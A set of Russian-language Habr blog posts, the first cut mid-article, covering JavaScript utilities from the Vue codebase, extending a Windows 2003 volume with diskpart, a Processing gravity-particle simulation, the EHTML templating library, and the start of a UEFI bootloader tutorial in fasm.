При вызове `String(arg)` система попытается вызвать `arg.toString()` или `arg.valueOf()`. В результате, если в `arg` или в прототипе `arg` будут перезаписаны эти методы, вызовы `Object.prototype.toString.call(arg)` и `String(arg)` дадут разные результаты.
Рассмотрим пример.
```
const _toString = Object.prototype.toString
var obj = {}
obj.toString() // [object Object]
_toString.call(obj) // [object Object]
```
Выполним этот код в консоли инструментов разработчика браузера.
В данном случае вызовы `obj.toString()` и `Object.prototype.toString.call(obj)` приводят к одним и тем же результатам.
Вот ещё пример.
```
const _toString = Object.prototype.toString
var obj = {}
obj.toString = () => '111'
obj.toString() // 111
_toString.call(obj) // [object Object]
/hello/.toString() // /hello/
_toString.call(/hello/) // [object RegExp]
```
Выполним код в консоли.
А теперь вызов метода объекта `.toString()` и использование конструкции `Object.prototype.toString.call(obj)` дают разные результаты.
Вот какие правила описывают в стандарте ECMAScript поведение метода `Object.prototype.toString()`.
*Описание метода Object.prototype.toString() в стандарте ECMAScript*
Взглянув на документацию, можно сделать вывод о том, что при вызове `Object.prototype.toString()` для разных объектов будут возвращаться различные результаты.
Исследуем эту идею в консоли.
Кроме того, значение, возвращаемое `Object.prototype.toString()`, всегда представлено в следующем формате:
```
‘[object ’ + ‘tag’ +‘] ’
```
Если нам нужно извлечь из этой конструкции только часть `tag`, добраться до этой части можно, удалив ненужные символы из начала и конца строки с помощью регулярного выражения или метода `String.prototype.slice()`.
```
function toRawType (value) {
const _toString = Object.prototype.toString
return _toString.call(value).slice(8, -1)
}
toRawType(null) // "Null"
toRawType(/sdfsd/) //"RegExp"
```
Исследуем эту функцию в консоли.
Как видите, с помощью вышеприведённой функции можно узнать точный тип объектной переменной.
→ [Здесь](https://github.com/vuejs/vue/blob/6fe07ebf5ab3fea1860c59fe7cdd2ec1b760f9b0/src/shared/util.js#L62), в репозитории Vue, можно найти код подобной функции.
2. Кеширование результатов работы функции
-----------------------------------------
Предположим, имеется функция, подобная следующей, выполняющая длительные вычисления:
```
function computed(str) {
console.log('2000s have passed')
return 'a result'
}
```
Создавая такую функцию, мы намерены кешировать возвращаемые ей результаты. Когда эту функцию вызовут в следующий раз, передав ей те же параметры, что и ранее, «тяжёлый» код функции выполняться не будет. Вместо этого будет, без лишних затрат времени, возвращён кешированный результат. Как это сделать?
Можно, например, написать функцию-обёртку для целевой функции. Такой функции можно дать имя `cached`. Эта функция принимает, в виде аргумента, целевую функцию, и возвращает новую функцию, оснащённую возможностями кеширования. В функции `cached` можно кешировать результаты предыдущих вызовов целевой функции, воспользовавшись сущностью `Object` или `Map`. Вот код этой функции:
```
function cached(fn){
// Создаём объект для хранения результатов, возвращаемых целевой функцией после её выполнения
const cache = Object.create(null);
// Возвращаем целевую функцию в соответствующей обёртке
return function cachedFn (str) {
// Если в кеше нет подходящих результатов - функция будет выполнена
if ( !cache[str] ) {
let result = fn(str);
// Сохраняем результат выполнения функции в кеше
cache[str] = result;
}
return cache[str]
}
}
```
Вот пример использования вышеописанной функции.
→ [Вот](https://github.com/vuejs/vue/blob/6fe07ebf5ab3fea1860c59fe7cdd2ec1b760f9b0/src/shared/util.js#L153) код подобной функции, который имеется в кодовой базе Vue.
3. Преобразование строки вида hello-world к строке вида helloWorld
------------------------------------------------------------------
Когда над одним и тем же проектом совместно работает несколько программистов, им очень важно заботиться о единообразии стиля кода. Кто-то, например, может записывать некие составные идентификаторы в формате `helloWorld`, а кто-то — в формате `hello-world`. Для того чтобы навести в этой области порядок, можно создать функцию, которая преобразует строки вида `hello-world` к строкам вида `helloWorld`.
```
const camelizeRE = /-(\w)/g
const camelize = cached((str) => {
return str.replace(camelizeRE, (_, c) => c ? c.toUpperCase() : '')
})
camelize('hello-world')
// "helloWorld"
```
→ [Вот](https://github.com/vuejs/vue/blob/6fe07ebf5ab3fea1860c59fe7cdd2ec1b760f9b0/src/shared/util.js#L164) то место кода Vue, откуда взят этот пример.
4. Определение того, в каком именно окружении выполняется JavaScript-код
------------------------------------------------------------------------
В наши дни, учитывая быстрое развитие браузеров, JavaScript-код может выполняться в различных окружениях. Для того чтобы лучше адаптировать проекты к различным средам, нужно уметь определять то, где именно выполняются программы:
```
const inBrowser = typeof window !== 'undefined'
const inWeex = typeof WXEnvironment !== 'undefined' && !!WXEnvironment.platform
const weexPlatform = inWeex && WXEnvironment.platform.toLowerCase()
const UA = inBrowser && window.navigator.userAgent.toLowerCase()
const isIE = UA && /msie|trident/.test(UA)
const isIE9 = UA && UA.indexOf('msie 9.0') > 0
const isEdge = UA && UA.indexOf('edge/') > 0
const isAndroid = (UA && UA.indexOf('android') > 0) || (weexPlatform === 'android')
const isIOS = (UA && /iphone|ipad|ipod|ios/.test(UA)) || (weexPlatform === 'ios')
const isChrome = UA && /chrome\/\d+/.test(UA) && !isEdge
const isPhantomJS = UA && /phantomjs/.test(UA)
const isFF = UA && UA.match(/firefox\/(\d+)/)
```
→ [Вот](https://github.com/vuejs/vue/blob/dev/src/core/util/env.js#L6) где я нашёл этот код.
5. Различение встроенных и пользовательских функций
---------------------------------------------------
Известно, что в JavaScript существует два вида функций. Первый вид — это встроенные, или, как их ещё называют, «нативные» функции. Такие функции даёт нам среда, в которой выполняется код. Второй вид — это так называемые «пользовательские функции», то есть те, которые программисты пишут сами. Различить эти функции можно, учтя тот факт, что, при преобразовании их в строки, возвращаются различные результаты.
```
Array.isArray.toString() // "function isArray() { [native code] }"
function fn(){}
fn.toString() // "function fn(){}"
```
Поэкспериментируем с этим кодом в консоли.
Метод `toString()` нативной функции всегда возвращает конструкцию следующего вида:
```
function fnName() { [native code] }
```
Зная это, можно написать функцию, позволяющую различать нативные и пользовательские функции:
```
function isNative (Ctor){
return typeof Ctor === 'function' && /native code/.test(Ctor.toString())
}
```
→ [Вот](https://github.com/vuejs/vue/blob/a9a303009a4267b7f12b956741b4e34dfdc6566f/src/core/util/env.js#L58) то место в кодовой базе Vue, где есть такая функция.
**А вам удавалось находить что-то интересное, исследуя код в репозиториях известных JavaScript-проектов?**
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=perevod&utm_campaign=javascript-nahodki-vue#order) | https://habr.com/ru/post/503634/ | null | ru | null |
# Расширение тома в Windows 2003 с помощью Diskpart
Возникла недавно задача по расширению системного диска Windows 2003. Поскольку сервер работал на виртуальной платформе (ESX), проще всего сделать это, увеличив размер виртуального диска и затем подключить диск к другой виртуальной машине (Windows 2003 штатными средствами не позволяет изменять размер системного диска).
После подключения диска Windows автоматически не назначила букву диска, что, впрочем и не было нужно. После запуска diskpart и выбора раздела
`list volume
select volume %Volume Number%`
команда **extend** выдавала ошибку и предлагала выбрать другой раздел для расширения.
Использовать какие-то сторонние программы не было возможности, поэтому пришлось искать решение.
Оказалось, что для работы с разделом, несмотря на то, что в списке разделов diskpart он виден, ему должна быть присвоена буква. После этого том был успешно расширен на все свободное пространство диска.
Для Windows XP это требование также важно, отличия будут в командах **diskpart**:
`list disk
select disk %Disk Number%
list partition
select partition %Partition Number%`
К тому же, в Windows 2003 можно сразу выбрать Volume, не выбирая диск.
Возможно, кому-то будет полезен этот опыт. | https://habr.com/ru/post/117408/ | null | ru | null |
# Processing 1.0 и почти закон всемирного тяготения
 О [Processing](http://processing.org/) я слышал давно, но посмотреть что это из себя представляет никак не доходили руки. И вот у меня появилась идея сделать свой мирок с гравитацией и силами(есть точки и вокруг них летают частицы). В дальнейшем можно это как-то красиво обыграть и сделать крутой скринсейвер. Прототип решено было изготовить при помощи виновника торжества, а именно [Processing 1.0.7](http://processing.org/download/).
Начнём с создания алгоритма описывающего физические взаимодействия между объектами. Точки обладающие гравитацией располагаются в пространстве случайно, а так как они ещё и не перемещаются(двигаются только частицы в гравитационном поле точек), то я решил заранее создать список векторов расположенных в пространстве с заданным шагом, и гордо назвать это «векторной сеткой» :) Вектора считаются как сумма векторов сил притяжения создаваемых каждой «гравитационной точкой» в точке приложения вектора.
[](http://picasaweb.google.ru/lh/photo/wxqv47Pv_1a1V_c6YeGraA?feat=embedwebsite) [](http://picasaweb.google.ru/lh/photo/mJha3sUMXY50NkQxlmvT0A?feat=embedwebsite)
Шаг сетки 20.
[](http://picasaweb.google.ru/lh/photo/vaVSkv7iPdRH3MTWxQ1Y-Q?feat=embedwebsite) [](http://picasaweb.google.ru/lh/photo/a8aWzVfuELGuETGYxg9LXQ?feat=embedwebsite)
Шаг сетки 10.
> `class GravGrid
>
> {
>
> int w = 0; /\* Ширина сетки.\*/
>
> int h = 0; /\* Высота сетки.\*/
>
> int step = 0; /\* Размер стороны ячейки векторной сетки.
>
> Ну или просто шаг. \*/
>
> float G =0; /\* Гравитационная постоянная. От неё
>
> зависит как будет изменяться
>
> сила притяжения частиц к точкам с
>
> изменением расстояния между ними \*/
>
> /\* Тут у нас будут жить гравитационные точки \*/
>
> public ArrayList points = new ArrayList();
>
> ArrayList vectors; /\* А тут вектора составляющие
>
> векторную сетку \*/
>
> /\* Конструктор класса. С w, h, step и G все уже знакомы \*/
>
> GravGrid(int w, int h, int step, float G)
>
> {
>
> this.w = w;
>
> this.h = h;
>
> this.step = step;
>
> this.G = G;
>
> }
>
> public void CreateGrid() /\* Метод для построение сетки \*/
>
> {
>
> vectors = new ArrayList(); /\* На случай если CreateGrid()
>
> вызвана повторно очищаем
>
> список \*/
>
> GravVector v; /\* Вектор \*/
>
> GravPoint p; /\* Точка \*/
>
> float xSum; /\* Сумма проэкций сил на ось X \*/
>
> float ySum; /\* Сумма проэкций сил на ось Y \*/
>
> float a = 0; /\* Угол между точкой приложения вектора
>
> и гравитационной точкой\*/
>
> for(int x = 0; x < w; x += step) /\* Получаем точки
>
> приложения векторов \*/
>
> for(int y = 0; y < h; y += step)
>
> {
>
> xSum = 0;
>
> ySum = 0;
>
> v = new GravVector(x, y); /\* Создаем новый экземпляр
>
> класса GravVector\*/
>
> /\* Проходимся по списку гравитационных точек \*/
>
> for(int i = 0; i < points.size(); i++)
>
> {
>
> /\* Получаем i - ую точку \*/
>
> p = (GravPoint)points.get(i);
>
> a = atan2((p.x - x), (p.y - y)); /\* Вычисляем угол \*/
>
> /\* Вычисляем проекции на ось X и прибавляем к сумме.
>
> dist(x1, y1, x2, y2) - вычисляет расстояние между
>
> двумя точками \*/
>
> xSum += p.Grav(dist(x, y, p.x, p.y), G) \* sin(a);
>
> /\* Вычисляем проекции на ось Y и прибавляем к сумме.\*/
>
> ySum += p.Grav(dist(x, y, p.x, p.y), G) \* cos(a);
>
> }
>
> v.Set(xSum, ySum); /\* Устанавливаем
>
> направление вектора \*/
>
> vectors.add(v); /\* и добавляем его в список \*/
>
> }
>
> }
>
>
>
> public void DrawGrid() /\* Метод для рисования сетки \*/
>
> {
>
> float arrowsize = 4; /\* Размер стрелочки \*/
>
> float len = 0; /\* Длинна вектора \*/
>
> GravVector v;
>
> /\* Проходимся по списку векторов \*/
>
> for(int i = 0; i < vectors.size(); i++)
>
> {
>
> /\* Получаем i - ый вектор \*/
>
> v = (GravVector)vectors.get(i);
>
> /\* Тут дальше идёт хитрый метод рисования вектора,
>
> который я подсмотрел из File -> Examples ->
>
> Topics -> Simulate -> SimpleParticleSystem
>
> могу сказать что pushMatrix() - это как бэ создание
>
> дополнительной системы координат.
>
> Если что, поправьте меня пожалуйста.\*/
>
> pushMatrix();
>
> translate(v.x0, v.y0); /\* Положение относительно
>
> основной системы координат
>
> v.x0, v.y0 - точки приложения
>
> вектора \*/
>
> stroke(255, 0, 0); /\* Цвет линий \*/
>
> /\* Поворачиваем дополнительную систему координат
>
> относительно основной v.Get() - возвращает PVector \*/
>
> rotate(atan2(v.Get().y, v.Get().x));
>
> len = v.Get().mag(); /\* Получаем длину вектора \*/
>
> /\* Дальше занимаемся рисованием \*/
>
> line(0,0,len,0);
>
> line(len,0,len-arrowsize,+arrowsize/2);
>
> line(len,0,len-arrowsize,-arrowsize/2);
>
> popMatrix();
>
> }
>
> }
>
>
>
> /\* Возвращает вектор силы в заданной точке \*/
>
> public PVector GetVector(float x, float y)
>
> {
>
> GravVector v;
>
> for(int i = 0; i < vectors.size(); i++)
>
> {
>
> v = (GravVector)vectors.get(i);
>
> if((v.x0 <= x)
>
> && (x < (v.x0 + step))
>
> && (v.y0 <= y)
>
> && (y < (v.y0 + step)))
>
> return v.Get();
>
> }
>
> return new PVector(0, 0);
>
> }
>
> }
>
>
>
> class GravPoint /\* Гравитационная точка \*/
>
> {
>
> public int x = 0; /\* Положение по X \*/
>
> public int y = 0; /\* по Y \*/
>
> float mass = 0; /\* Масса точка. Чем больше масса
>
> тем сильнее к точке будут
>
> притягиваться частицы \*/
>
> GravPoint(int x, int y, float mass) /\* Конструктор \*/
>
> {
>
> this.x = x;
>
> this.y = y;
>
> this.mass = mass;
>
> }
>
> /\* Тут вычисляем силу притяжения.
>
> Чем больше d(расстояние) тем меньше сила \*/
>
> public float Grav(float d, float G) {return mass \* G / d; }
>
> }
>
>
>
> class GravVector /\* Вектор \*/
>
> {
>
> public int x0 = 0; /\* Точка приложения по X \*/
>
> public int y0 = 0; /\* по Y \*/
>
> public float x = 0; /\* Точка приложения по X + проекция
>
> вектора на ось X \*/
>
> public float y = 0; /\* тоже самое только Y \*/
>
> GravVector(int x0, int y0) /\* Конструктор \*/
>
> {
>
> this.x0 = x0;
>
> this.y0 = y0;
>
> }
>
> /\* Устанавливаем величину и направление вектора \*/
>
> public void Set(float x, float y)
>
> {
>
> this.x = x0 + x;
>
> this.y = y0 + y;
>
> }
>
> /\* Возвращает PVector для экземпляра класса GravVector\*/
>
> public PVector Get() {return new PVector(x - x0, y - y0); }
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Использование:
> `int w;
>
> int h;
>
> GravGrid gg;
>
> Particle[] s;
>
> void setup()
>
> {
>
> size(800, 600, JAVA2D); /\* рендер P2D, по утверждению разработчиков
>
> работает быстрее чем JAVA2D,
>
> но почему - то у меня всё наоборот \*/
>
> background(255);
>
> w = width;
>
> h = height;
>
> s = new Particle[50]; /\* Массив с частицами \*/
>
> gg = new GravGrid(w, h, 20, 40); /\* Создаём сетку \*/
>
> for(int i = 0; i < s.length; i++)
>
> s[i] = new Particle();
>
> gg.points = new ArrayList();
>
> /\* Добавляем точки \*/
>
> for(int i = 0; i < 7; i++)
>
> gg.points.add(new GravPoint(
>
> (int)random(0, w), /\* Положение точки по X \*/
>
> (int)random(0, h), /\* Положение точки по Y \*/
>
> /\* Из соображений зрелищности
>
> у нас будут точки даже с отрицательной
>
> гравитацией! :) \*/
>
> (int)random(-120, 120)));
>
> gg.CreateGrid(); /\* Создаём сетку \*/
>
> }
>
>
>
> GravPoint p;
>
> void draw()
>
> {
>
> /\* Закрашиваем всё белым цветом с прозрачностью 20
>
> для того что бы за частицами оставался крутой след :)
>
> Чем меньше alpha, тем соответственно длиннее шлейф \*/
>
> fill(255, 20);
>
> noStroke();
>
> rect(0, 0, w, h);
>
> for(int i = 0; i < s.length; i++)
>
> {
>
> s[i].DrawParticle(gg); /\* Рисуем i - ую частицу \*/
>
> /\* Если вылетела за границы окна, то создаём новую \*/
>
> if(s[i].x > w
>
> || s[i].x < 0
>
> || s[i].y > h
>
> || s[i].y < 0)
>
> {
>
> s[i] = new Particle();
>
> }
>
> else
>
> {
>
> for(int t = 0; t < gg.points.size(); t++)
>
> {
>
> /\* Получаем гравитационную точку \*/
>
> p = (GravPoint)gg.points.get(t);
>
> fill(255);
>
> stroke(0);
>
> /\* рисуем её \*/
>
> ellipse(p.x, p.y, abs(p.mass), abs(p.mass));
>
> /\* Если попала в точку, то создаём новую \*/
>
> if((((p.x - (p.mass / 4)) <= s[i].x)
>
> && (s[i].x < (p.x + (p.mass / 4)))
>
> && ((p.y - (p.mass / 4)) <= s[i].y)
>
> && (s[i].y < (p.y + (p.mass / 4)))))
>
> {
>
> s[i] = new Particle();
>
> }
>
> }
>
> }
>
> }
>
> if(keyPressed) if(key == '1') setup();
>
> if(keyPressed) if(key == '2') gg.DrawGrid();
>
> }
>
>
>
> class Particle
>
> {
>
> float t = 0;
>
> float m = random(3, 6);
>
> float y = random(m, h);
>
> float x = random(m, w);
>
> float v0x = 0;
>
> float v0y = 0;
>
> public void DrawParticle(GravGrid gg)
>
> {
>
> t += 0.005;
>
> x += v0x \* t + (gg.GetVector(x, y).x / m) \* pow(t, 2) / 2;
>
> y += v0y \* t + (gg.GetVector(x, y).y / m) \* pow(t, 2) / 2;
>
> fill(0, 0, 0, t \* 300);
>
> noStroke();
>
> ellipse(x, y, m, m);
>
> }
>
>
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Кстати если установить малый шаг сетки и поиграться с отображением векторов в DrawGrid(), то можно получить много клякс подобных этим:
[](http://picasaweb.google.ru/lh/photo/ZZ7M56uhkYQbyilpF0F_KQ?feat=embedwebsite)
[](http://picasaweb.google.ru/lh/photo/BI6FUjwC2OgVhiPCy1NiAA?feat=embedwebsite) | https://habr.com/ru/post/69617/ | null | ru | null |
# Расширенный HTML
В этой статье хотел бы рассказать немного про библиотеку, первую версию которой я создал еще в конце прошлого года. Суть очень простая — расширить возможности языка HTML, чтобы можно было без JavaScript'а писать простые и рутинные вещи: отправка формы в json формате, загрузка HTML тимплейтов на определенную страницу(по сути модульная система для HTML через http/s запросы), турболинки(привет пользователям RoR), простая шаблонизация на основе ответов ajax запросов и немного еще.
Библиотека называется [EHTML](https://github.com/Guseyn/EHTML) или Extended HTML. Основана она на небезызвестной идее [веб компонентов](https://developer.mozilla.org/en-US/docs/Web/Web_Components). Она доступна на [гитхабе](https://github.com/Guseyn/EHTML), там довольно таки структурированная документация с примерами. В этой статье я просто опишу основные идеи, возможно кому-то это зайдет.
Подключение библиотеки
======================
Начнем с того, что для использования либы не нужен ни npm, ни cli тула для создания проекта, все что требуется — это HTML странички, где вы включаете [скрипт](https://github.com/Guseyn/EHTML/blob/master/ehtml.bundle.min.js) библиотеки:
```
```
Модульная система
=================
Начнем с простого — составление HTML странички из множества других:
```
```
Для этого мы используем кастомный элемент `e-html`, который имеет единственный атрибут `data-src`, где мы указываем где раздается HTML часть страницы. То есть если например `first.html` выглядит как-то так:
```
```
то в конечном счете, наша страница будет зарендерена следующим образом:
```
```
То есть теги `e-html` будут заменены контентом из HTML файла, который мы указывали в `data-src` атрибуте.
В библиотеке широко применяются элементы с тегом . [Тут](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/template) вы можете найти информацию про этот элемент. Одним из примеров использования этого элемента является `e-wrapper`, который появился в последней версии либы. По сути это элемент с атрибутом `is="e-wrapper"` и он позволяет заврапить динамический контент каким-нибудь статическим шаблоном. То есть скажем у вас есть статический шаблон следующего вида:
```
Header content
Default content
Footer content
```
И скажем у вас есть динамический контент, который вы хотите заврапить им:
```
Variation of content
```
Когда вы откроете страничку с кодом выше, она будет сформирована следующим образом:
```
Header content
Variation of content
Footer content
```
С помощью атрибута `data-src` вы указываете HTML файл, откуда вы хотите взять статический шаблон. В атрибуте `data-where-to-place` вы указываете селектор элемента в статическом шаблоне куда вы хотите поместить динамический контент, который как раз находится внутри `e-wrapper` тимплейта. Ну и с помощью `data-how-to-place` вы описываете как именно вы хотите заврапить. Есть три возможные опции: `instead`(контент просто заменит элемент с селектором, который указан в `data-where-to-place`), `before`(контент будет помещен до указанного элемента) и соответсвенно `after` (контент будет помещен после элемента). Таким образом, элементы `e-html` и `e-wrapper` тимплейт позволяют комбинировать html шаблоны для составления страниц. Конечно при рендеринге делаются дополнительные http запросы, чтобы загрузить страницы, однако если использовать кэш запросов — то это проблема полностью нивелируется.
Шаблонизация ajax запрсов
=========================
Скажем у вас есть эндпоинт, который отдает информацию о музыкальном альбоме в json формте:
```
/../album/{title}
title = 'Humbug'
{
"title": "Humbug",
"artist": "Arctic Monkeys",
"type": "studio album",
"releaseDate": "19 August 2009",
"genre": "psychedelic rock, hard rock, stoner rock, desert rock",
"length": "39:20",
"label": "Domino",
"producer": "James Ford, Joshua Homme"
}
```
Тогда используя тимплейтный элемент с атрибутом `is="e-json"`, вы можете загрузить и замапить ответ на HTML:
```
```
Атрибут `data-src` указывает, от куда вы загружаете информацию в json формате, `data-object-name` — это имя объекта ответа, который содержит основные компоненты http ответа: `body`, `headers` и `statusCode`. Атрибут `data-text` позволяет вам использовать значения объекта в качестве текста, который будет помещен в шаблон внутри `e-json` тимплейта.
Также есть возможность использовать циклы и условия при маппинге. Допустим, у нас есть следующий эндпоинт с информацией о музыкальном альбоме со списком песен:
```
title = 'Humbug'
{
"title": "Humbug",
"artist": "Arctic Monkeys",
"songs": [
{ "title": "My Propeller", "length": "3:27" },
{ "title": "Crying Lightning", "length": "3:43" },
{ "title": "Dangerous Animals", "length": "3:30" },
{ "title": "Secret Door", "length": "3:43" },
{ "title": "Potion Approaching", "length": "3:32" },
{ "title": "Fire and the Thud", "length": "3:57" },
{ "title": "Cornerstone", "length": "3:18" },
{ "title": "Dance Little Liar", "length": "4:43" },
{ "title": "Pretty Visitors", "length": "3:40" },
{ "title": "The Jeweller's Hands", "length": "5:42" }
]
}
```
Тогда с помощью тимплейта `e-for-each` можно показать весь список песен:
```
```
В атрибуте `data-list-to-iterate` мы указываем список из ответа, который мы хотим итерировать. А в атрибуте `data-item-name` мы декларируем имя переменной для каждого айтема, которое мы будем использовать внутри `e-for-each` тимплейта.
Также можно например использовать в комбинации тимплейты `e-for-each` и `e-if` для отображения лишь определенных песен:
```
```
В атрибуте `data-condition-to-display` тимплейта `e-if` мы указываем условие, при котором тот или иной айтем отображается.
Отправка формы
==============
Последнее что хочется показать в этой статье — это отправка форм. Очень часто хочется отправлять данные из формы в json формате, поэтому был создан элемент `e-form`, который предоставляет такую возможность.
Допустим у нас есть следующий эндпоинт, который позволяет создавать/сохранять новые альбомы:
```
/artist/{name}/albums/add
name = 'Arctic Monkeys'
POST
Example of expected request body: {
"title": "Humbug",
"type": "studio album",
"releaseDate": "19 August 2009",
"genre": ["psychedelic rock", "hard rock", "stoner rock", "desert rock"],
"length": "39:20",
"label": "Domino",
"producer": "James Ford, Joshua Homme"
}
```
Тогда форма, которая может посылать такие запросы будет выглядеть примерно так:
```
Title:
Type:
One
One
Release date:
Genre:
Total length:
Producer:
```
Ключевое отличие от обычной формы в том, что мы декларируем детали эндпоинта в элементе, на который действует пользователь, в данном случае это кнопка. С помощью соответствующих атрибутов мы указываем метод, хедеры, путь для эндопинта. Также можно даже указать ajax иконку, которая будет активирована во время запроса. Также мы должны естественно указать действие, на которое будет отправляться форма — в данном случае это клик. И также мы указываем действие, которое мы делаем когда ответ получен. Полный список поддерживаемых таких действий вы можете найти [здесь](https://github.com/Guseyn/EHTML#supported-actions-on-response).
Больше информации
=================
Если вы заинтересовались идеей и даже хотите попробовать библиотеку в деле или просто что-то узнать побольше, то в [README](https://github.com/Guseyn/EHTML#contents) библиотеки есть исчерпывающая информация о поддерживаемых элементах. Также можете посмотреть [видео](https://www.youtube.com/watch?feature=player_embedded&v=lOf0NkNtWzI), где я пишу простое блог приложение исключительно используя EHTML.
Буду рад ответить на вопросы, если такие возникнут. И спасибо за внимание!
[Ссылка на репу](https://github.com/Guseyn/EHTML). | https://habr.com/ru/post/499106/ | null | ru | null |
# ОС с нуля: Глава 2, Часть 1 — Да зачем нам этот Legacy
Введение
--------
Пару месяцев назад я решил начать серию статей про написание своей ОС с нуля. Описал написание Legacy MBR загрузчика и переход в защищенный режим (без прерываний) и ещё пару мелочей. Сегодня я решил, что попытаюсь "перезапустить" эту серию (сохранив нумерацию частей). Суть в том, что теперь будут использоваться актуальные на август 2022 года материалы, и разработанное ПО можно будет легко протестировать на своей (U)EFI-машине.
Ассемблер - всему голова!
-------------------------
Не знаю как с этим у других людей, но лично я влюблен в ассемблер. При этом, переходил я на него, предварительно изучив Python, а не С или Фортран. В общем, программировать я буду всё ещё на ассемблере, конкретно - [fasm](https://flatassembler.net), так как у него очень мощный препроцессор и компоновщик встроен в компилятор.
Загрузчики бывают разные...
---------------------------
Я назову 2 основных: это Legacy, или же MBR, и Secure, или же EFI-загрузчики (надеюсь, с терминами не напутал). В первой части я писал двух-ступенчатый загрузчик: MBR и фиксированно-расположенный SSB (Second-Stage Bootloader, загрузчик 2 стадии). В этот раз будем писать EFI-загрузчик.
Как загружаются UEFI-загрузчики?
--------------------------------
Ну, примерно так: запускается биос (вроде с F000:FFFF или где-то там), производит POST (Power On Self Test), если все ОК, то запускает (U)EFI. UEFI в свою очередь ищет диски с известными файловыми системами (ntfs, brtfs, extFAT, FAT32, isofs, cdfs, ext2/3/4, есть ещё, но это уже опционально), ищет на них по адрессу `/EFI/BOOT/` файл с расширениет `*.efi` , который называется `bootX.efi` где Х это платформа, для которой написан загрузчик. В целом, это всё. (ах, да, чуть не забыл: UEFI32 запускают `bootia32.efi` в защищенном режиме, а UEFI64 запускают `bootx64.efi` в долгом режиме).
Что вообще такое efi-приложение?
--------------------------------
Технически, это тот же самый PE (Portable Excutable, формат исполняемых файлов для Microsoft Windows, \*.exe, \*.msi, \*.dll, \*.sys, \*.mui), он даже разбирается с помощью IDA!
Приступим!
----------
Для начала, просто exe-шник не подойдет. в строку с format нужно писать нечто подобное:
```
format PE64 DLL EFI
```
Потом, будет ну прям ОЧЕНЬ (на самом деле не ПРЯМ очень, но будет) сложно писать efi-app без библиотек. поэтому я набросал свою (листинг 1, 2, 3).
Листинг 1 (sysuefi.inc) - некоторые структуры, макросы и функции, без которых жизнь медом не покажется.
Листинг 2 (libuefi.inc) - некоторые полезные функции, начинаются с \_\_, потому, что будут обернуты в Листинге 3
Листинг 3 (macroefi.inc) - обертка над Листингами 1 и 2, полностью из макросов и структур.
Также рекомендую использование такой вещи как struct.inc, гуляющей по всем интернетам. В библиотечках я её не использовал, но в будущем будет удобно свои структурки определять.
В итоге, получается вот-такая файловая система у нашего "проекта" (рис. 1)
рис. 1: Файловая система проекталистинг 1
```
; sysuefi.inc for fasm assembly ;
struc int8 {
align 1
. db ?
}
struc int16 {
align 2
. dw ?
align 1
}
struc int32 {
align 4
. dd ?
align 1
}
struc int64 {
align 8
. dq ?
align 1
}
struc intn {
align 8
. dq ?
align 1
}
struc dptr {
align 8
. dq ?
align 1
}
;symbols
EFIERR = 0x8000000000000000
EFI_SUCCESS = 0
EFI_LOAD_ERROR = EFIERR or 1
EFI_INVALID_PARAMETER = EFIERR or 2
EFI_UNSUPPORTED = EFIERR or 3
EFI_BAD_BUFFER_SIZE = EFIERR or 4
EFI_BUFFER_TOO_SMALL = EFIERR or 5
EFI_NOT_READY = EFIERR or 6
EFI_DEVICE_ERROR = EFIERR or 7
EFI_WRITE_PROTECTED = EFIERR or 8
EFI_OUT_OF_RESOURCES = EFIERR or 9
EFI_VOLUME_CORRUPTED = EFIERR or 10
EFI_VOLUME_FULL = EFIERR or 11
EFI_NO_MEDIA = EFIERR or 12
EFI_MEDIA_CHANGED = EFIERR or 13
EFI_NOT_FOUND = EFIERR or 14
EFI_ACCESS_DENIED = EFIERR or 15
EFI_NO_RESPONSE = EFIERR or 16
EFI_NO_MAPPING = EFIERR or 17
EFI_TIMEOUT = EFIERR or 18
EFI_NOT_STARTED = EFIERR or 19
EFI_ALREADY_STARTED = EFIERR or 20
EFI_ABORTED = EFIERR or 21
EFI_ICMP_ERROR = EFIERR or 22
EFI_TFTP_ERROR = EFIERR or 23
EFI_PROTOCOL_ERROR = EFIERR or 24
macro structure name
{
virtual at 0
name name
end virtual
}
;structureures
EFI_SYSTEM_TABLE_SIGNATURE equ 49h,42h,49h,20h,53h,59h,53h,54h
struc EFI_TABLE_HEADER {
.Signature int64
.Revision int32
.HeaderSize int32
.CRC32 int32
.Reserved int32
}
structure EFI_TABLE_HEADER
struc EFI_SYSTEM_TABLE {
.Hdr EFI_TABLE_HEADER
.FirmwareVendor dptr
.FirmwareRevision int32
.ConsoleInHandle dptr
.ConIn dptr
.ConsoleOutHandle dptr
.ConOut dptr
.StandardErrorHandle dptr
.StdErr dptr
.RuntimeServices dptr
.BootServices dptr
.NumberOfTableEntries intn
.ConfigurationTable dptr
}
structure EFI_SYSTEM_TABLE
struc SIMPLE_TEXT_OUTPUT_INTERFACE {
.Reset dptr
.OutputString dptr
.TestString dptr
.QueryMode dptr
.SetMode dptr
.SetAttribute dptr
.ClearScreen dptr
.SetCursorPosition dptr
.EnableCursor dptr
.Mode dptr
}
structure SIMPLE_TEXT_OUTPUT_INTERFACE
;---include ends
struc SIMPLE_INPUT_INTERFACE {
.Reset dptr
.ReadKeyStroke dptr
.WaitForKey dptr
}
structure SIMPLE_INPUT_INTERFACE
struc EFI_BOOT_SERVICES_TABLE {
.Hdr EFI_TABLE_HEADER
.RaisePriority dptr
.RestorePriority dptr
.AllocatePages dptr
.FreePages dptr
.GetMemoryMap dptr
.AllocatePool dptr
.FreePool dptr
.CreateEvent dptr
.SetTimer dptr
.WaitForEvent dptr
.SignalEvent dptr
.CloseEvent dptr
.CheckEvent dptr
.InstallProtocolInterface dptr
.ReInstallProtocolInterface dptr
.UnInstallProtocolInterface dptr
.HandleProtocol dptr
.Void dptr
.RegisterProtocolNotify dptr
.LocateHandle dptr
.LocateDevicePath dptr
.InstallConfigurationTable dptr
.ImageLoad dptr
.ImageStart dptr
.Exit dptr
.ImageUnLoad dptr
.ExitBootServices dptr
.GetNextMonotonicCount dptr
.Stall dptr
.SetWatchdogTimer dptr
.ConnectController dptr
.DisConnectController dptr
.OpenProtocol dptr
.CloseProtocol dptr
.OpenProtocolInformation dptr
.ProtocolsPerHandle dptr
.LocateHandleBuffer dptr
.LocateProtocol dptr
.InstallMultipleProtocolInterfaces dptr
.UnInstallMultipleProtocolInterfaces dptr
.CalculateCrc32 dptr
.CopyMem dptr
.SetMem dptr
}
structure EFI_BOOT_SERVICES_TABLE
